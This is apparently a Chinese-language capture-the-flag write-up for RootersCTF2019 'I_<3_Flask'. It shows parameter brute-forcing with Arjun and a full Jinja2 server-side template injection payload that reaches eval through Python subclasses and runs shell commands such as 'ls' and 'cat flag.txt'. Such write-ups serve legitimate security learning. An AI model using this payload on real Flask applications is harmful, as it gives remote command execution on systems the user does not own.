[RootersCTF2019]I_<3_Flask

本题需要采用参数爆破

说实话,我根本不知道这啥玩意,但是吧,真的在原来的页面什么也找不到,只能看看wp

也就是说我们需要用到爆破工具

Arjun

git clone https://github.com/s0md3v/Arjun
pip3 install arjun
//下载

arjun -u http://cc55300e-63e2-49f4-a53a-49e2cad80f68.node5.buuoj.cn:81/
//使用

爆出参数name

image-20240610203117326

包注入的啊,牢底

尝试ssti注入

普通的smarty模型不太行

采用jinja2模型试试

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20240610203534911

经典的通用公式

之后将ls换成cat flag.txt即可